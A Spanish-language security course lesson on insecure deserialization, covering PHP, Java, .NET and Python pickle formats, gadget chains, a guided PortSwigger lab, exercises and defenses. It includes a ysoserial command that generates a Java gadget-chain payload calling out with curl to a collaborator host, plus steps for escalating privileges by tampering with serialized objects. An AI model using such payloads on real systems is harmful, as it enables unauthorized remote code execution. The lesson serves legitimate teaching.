

Clase 106 — Deserialización insegura

Parte: **4 — Seguridad de aplicaciones web** · Fuente: *The Web Application Hacker's Handbook / OWASP*

 Duración estimada: **120 min** · Nivel: **Experto**

Objetivo

Comprender y explotar la **deserialización insegura**: cuando una aplicación reconstruye objetos a partir de datos controlados por el atacante, permitiendo desde manipulación de estado hasta ejecución remota de código (RCE) mediante cadenas de gadgets. Es un fallo complejo pero de altísimo impacto.

 **Ética:** RCE de máximo impacto. Practica **solo** en labs propios/autorizados (PortSwigger). Nunca contra sistemas ajenos.

Resultados de aprendizaje

Al finalizar, el alumno podrá:

1. **Explicar** qué es serializar/deserializar y por qué es riesgoso con datos no confiables.
2. **Manipular** objetos serializados para alterar el estado de la app.
3. **Reconocer** formatos serializados (PHP, Java, Python pickle, .NET).
4. **Usar** cadenas de gadgets (ysoserial) para lograr RCE en un lab.
5. **Recomendar** evitar deserializar datos no confiables.

Temas

#	Tema	Por qué importa
1	Serialización: concepto	Base del fallo
2	Formatos por lenguaje	Reconocer el objetivo
3	Manipulación de estado	Impacto básico
4	Gadget chains	Camino a la RCE
5	ysoserial y herramientas	Automatizar la explotación
6	Pickle en Python	Vector frecuente en ML/APIs
7	Defensa: no deserializar input	Cierre del fallo

Definiciones y características

- **Serialización:** convertir un objeto en bytes/texto para almacenarlo o transmitirlo. Característica: reversible mediante deserialización.

- **Deserialización insegura:** reconstruir objetos desde datos del atacante. Característica: puede ejecutar código durante el proceso.
- **Gadget:** clase presente en la app cuyo comportamiento se abusa en la deserialización. Característica: se encadenan para lograr RCE.
- **Gadget chain:** secuencia de gadgets que culmina en una acción peligrosa. Característica: ysoserial las genera para Java.
- **Pickle:** formato de serialización de Python. Característica: ejecuta `__reduce__`, peligroso con datos externos.
- **Magic methods:** métodos que se invocan automáticamente (`__wakeup`, `readObject`). Característica: puntos de entrada del ataque.

Herramientas y preparación

- **PortSwigger labs** de insecure deserialization.
- **ysoserial** (Java) y **ysoserial.net** (.NET).
- **Burp** para manipular los objetos serializados en cookies/parámetros.

```
# ysoserial para Java (lab)
java -jar ysoserial.jar CommonsCollections1 'curl http://tu-collab' | base64
```

Laboratorio guiado

 Solo en labs propios.

1. Identifica datos serializados (cookies con Base64 que decodifican a objetos, campos `0:8: ...` en PHP).
2. En un lab PHP, decodifica el objeto serializado y **manipula un atributo** (p. ej. `admin=true`), reserializa y reenvía.
3. Observa el cambio de estado/privilegio.
4. En un lab Java, detecta el objeto serializado y usa **ysoserial** para generar una gadget chain que ejecute un comando.
5. Confirma la ejecución con una interacción OOB hacia Collaborator.
6. Para Python, analiza un endpoint que deserializa **pickle** y demuestra el riesgo con un payload controlado en el lab.
7. Documenta el formato, la manipulación y el impacto.

Ejercicios

1. Decodifica y modifica un objeto PHP serializado para escalar privilegios.
2. Explica qué es una gadget chain y por qué depende de las librerías presentes.
3. Genera un payload con ysoserial y explica qué gadget usa.
4. Describe por qué `pickle.loads` sobre datos externos es peligroso.
5. Enumera magic methods relevantes en PHP, Java y Python.
6. Propón alternativas seguras (JSON con validación de esquema, firmas).

Reto verificable

Resuelve un lab de deserialización de PortSwigger: primero uno de **manipulación de atributos** y, si llegas, uno de **RCE con gadget chain**. **Criterio de aceptación:** al menos el lab de manipulación queda resuelto con evidencia del cambio de privilegio; documentas el formato serializado y por qué deserializar input no confiable es la causa raíz.

Errores comunes

Síntoma / mensaje	Causa y cómo arreglar
El objeto no se acepta	Longitud/formato mal recalculados; ajusta el serializado
ysoserial no funciona	Gadget no presente en el classpath; prueba otra chain
Sin señal de RCE	Deserialización ciega; usa OOB
Firma HMAC en el objeto	Está firmado; necesitas la clave (otro vector)
Pickle sin efecto	El endpoint valida tipo; documenta la defensa

Preguntas frecuentes

 **¿Por qué es tan difícil de explotar?** Requiere conocer las librerías presentes para encadenar gadgets. La manipulación de estado, en cambio, es sencilla.

 **¿JSON es seguro?** JSON no instancia objetos arbitrarios, así que evita el vector clásico, pero sigue necesitando validación de esquema y de tipos.

 **¿Cómo lo defiendo?** No deserialices datos no confiables. Si es inevitable, usa formatos de datos (no de objetos), firma e integridad, y allowlists de clases.

Referencias

- Stuttard & Pinto, *The Web Application Hacker's Handbook*.
- OWASP Deserialization Cheat Sheet.
- ysoserial: <https://github.com/frohoff/ysoserial>
- PortSwigger Insecure deserialization: <https://portswigger.net/web-security/deserialization>

Siguiente clase

Clase 107 - Server-Side Template Injection (SSTI)